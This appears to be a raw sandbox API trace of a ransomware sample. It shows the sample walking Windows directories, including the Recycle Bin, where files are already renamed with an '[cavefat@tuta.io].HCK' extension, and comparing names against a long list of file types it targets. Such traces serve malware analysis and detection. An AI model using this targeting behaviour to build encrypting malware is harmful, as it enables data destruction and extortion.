ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2c6e88e, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="GETCUR~2.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a23ca4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a23ca4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a23ca4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="GETCUR~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2dc7669, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARTNE~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2c943ed, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PREOOB~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e1209d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e1209d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPC~1.HCK")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e1209d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e1209d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPC~1.HCK")) returned 0 [0224.167] FindClose (in: hFindFile=0x573328 | out: hFindFile=0x573328) returned 1 [0224.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.179] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0224.179] FindClose (in: hFindFile=0x573728 | out: hFindFile=0x573728) returned 1 [0224.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.181] FindNextFileW (in: hFindFile=0x5737e8, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0224.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3921b18 [0224.181] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.181] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.181] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0224.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.181] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="ɰX\x08")) returned 0xffffffff [0224.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.182] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0224.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.182] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573468 [0224.182] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.182] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc9591c98, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0224.182] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa2a49fc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a49fc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a49fc3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DESKTO~1.HCK")) returned 1 [0224.182] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa2a49fc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a49fc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a49fc3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DESKTO~1.HCK")) returned 0 [0224.182] FindClose (in: hFindFile=0x573468 | out: hFindFile=0x573468) returned 1 [0224.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.182] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0224.182] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.182] FindNextFileW (in: hFindFile=0x5737e8, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0224.182] FindNextFileW (in: hFindFile=0x5737e8, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5063cb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0224.182] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0224.182] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1 [0224.182] lstrlenW (lpString="588bce7c90097ed212") returned 18 [0224.182] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1 [0224.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3921b18 [0224.182] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0224.183] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5063cb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5737a8 [0224.185] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5063cb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.186] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0224.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0224.186] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0224.186] lstrlenW (lpString="1025") returned 4 [0224.186] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0224.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0224.186] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573668 [0224.190] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.190] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2abc7d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2abc7d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2abc7d3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.190] lstrlenW (lpString="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK") returned 42 [0224.191] lstrlenW (lpString=".1cd") returned 4 [0224.191] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".3ds") returned 4 [0224.191] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".3fr") returned 4 [0224.191] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".3g2") returned 4 [0224.191] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".3gp") returned 4 [0224.191] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".7z") returned 3 [0224.191] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0224.191] lstrlenW (lpString=".accda") returned 6 [0224.191] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0224.191] lstrlenW (lpString=".accdb") returned 6 [0224.191] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0224.191] lstrlenW (lpString=".accdc") returned 6 [0224.191] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0224.191] lstrlenW (lpString=".accde") returned 6 [0224.191] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0224.191] lstrlenW (lpString=".accdt") returned 6 [0224.191] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0224.191] lstrlenW (lpString=".accdw") returned 6 [0224.191] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0224.191] lstrlenW (lpString=".adb") returned 4 [0224.191] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".adp") returned 4 [0224.191] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".ai") returned 3 [0224.191] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0224.191] lstrlenW (lpString=".ai3") returned 4 [0224.191] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".ai4") returned 4 [0224.191] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".ai5") returned 4 [0224.191] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".ai6") returned 4 [0224.191] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".ai7") returned 4 [0224.191] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".ai8") returned 4 [0224.191] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".anim") returned 5 [0224.191] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0224.191] lstrlenW (lpString=".arw") returned 4 [0224.191] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".as") returned 3 [0224.191] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0224.191] lstrlenW (lpString=".asa") returned 4 [0224.191] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0224.191] lstrlenW (lpString=".asc") returned 4 [0224.191] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".ascx") returned 5 [0224.192] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0224.192] lstrlenW (lpString=".asm") returned 4 [0224.192] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".asmx") returned 5 [0224.192] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0224.192] lstrlenW (lpString=".asp") returned 4 [0224.192] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".aspx") returned 5 [0224.192] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0224.192] lstrlenW (lpString=".asr") returned 4 [0224.192] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".asx") returned 4 [0224.192] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".avi") returned 4 [0224.192] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".avs") returned 4 [0224.192] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".backup") returned 7 [0224.192] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0224.192] lstrlenW (lpString=".bak") returned 4 [0224.192] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".bay") returned 4 [0224.192] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".bd") returned 3 [0224.192] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0224.192] lstrlenW (lpString=".bin") returned 4 [0224.192] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".bmp") returned 4 [0224.192] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".bz2") returned 4 [0224.192] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".c") returned 2 [0224.192] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0224.192] lstrlenW (lpString=".cdr") returned 4 [0224.192] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".cer") returned 4 [0224.192] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".cf") returned 3 [0224.192] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0224.192] lstrlenW (lpString=".cfc") returned 4 [0224.192] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".cfm") returned 4 [0224.192] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".cfml") returned 5 [0224.192] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0224.192] lstrlenW (lpString=".cfu") returned 4 [0224.192] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".chm") returned 4 [0224.192] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".cin") returned 4 [0224.192] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0224.192] lstrlenW (lpString=".class") returned 6 [0224.193] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0224.193] lstrlenW (lpString=".clx") returned 4 [0224.193] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".config") returned 7 [0224.193] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0224.193] lstrlenW (lpString=".cpp") returned 4 [0224.193] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".cr2") returned 4 [0224.193] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".crt") returned 4 [0224.193] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".crw") returned 4 [0224.193] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".cs") returned 3 [0224.193] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0224.193] lstrlenW (lpString=".css") returned 4 [0224.193] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".csv") returned 4 [0224.193] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".cub") returned 4 [0224.193] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dae") returned 4 [0224.193] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dat") returned 4 [0224.193] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".db") returned 3 [0224.193] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0224.193] lstrlenW (lpString=".dbf") returned 4 [0224.193] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dbx") returned 4 [0224.193] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dc3") returned 4 [0224.193] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dcm") returned 4 [0224.193] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dcr") returned 4 [0224.193] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".der") returned 4 [0224.193] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dib") returned 4 [0224.193] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dic") returned 4 [0224.193] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".dif") returned 4 [0224.193] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".divx") returned 5 [0224.193] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0224.193] lstrlenW (lpString=".djvu") returned 5 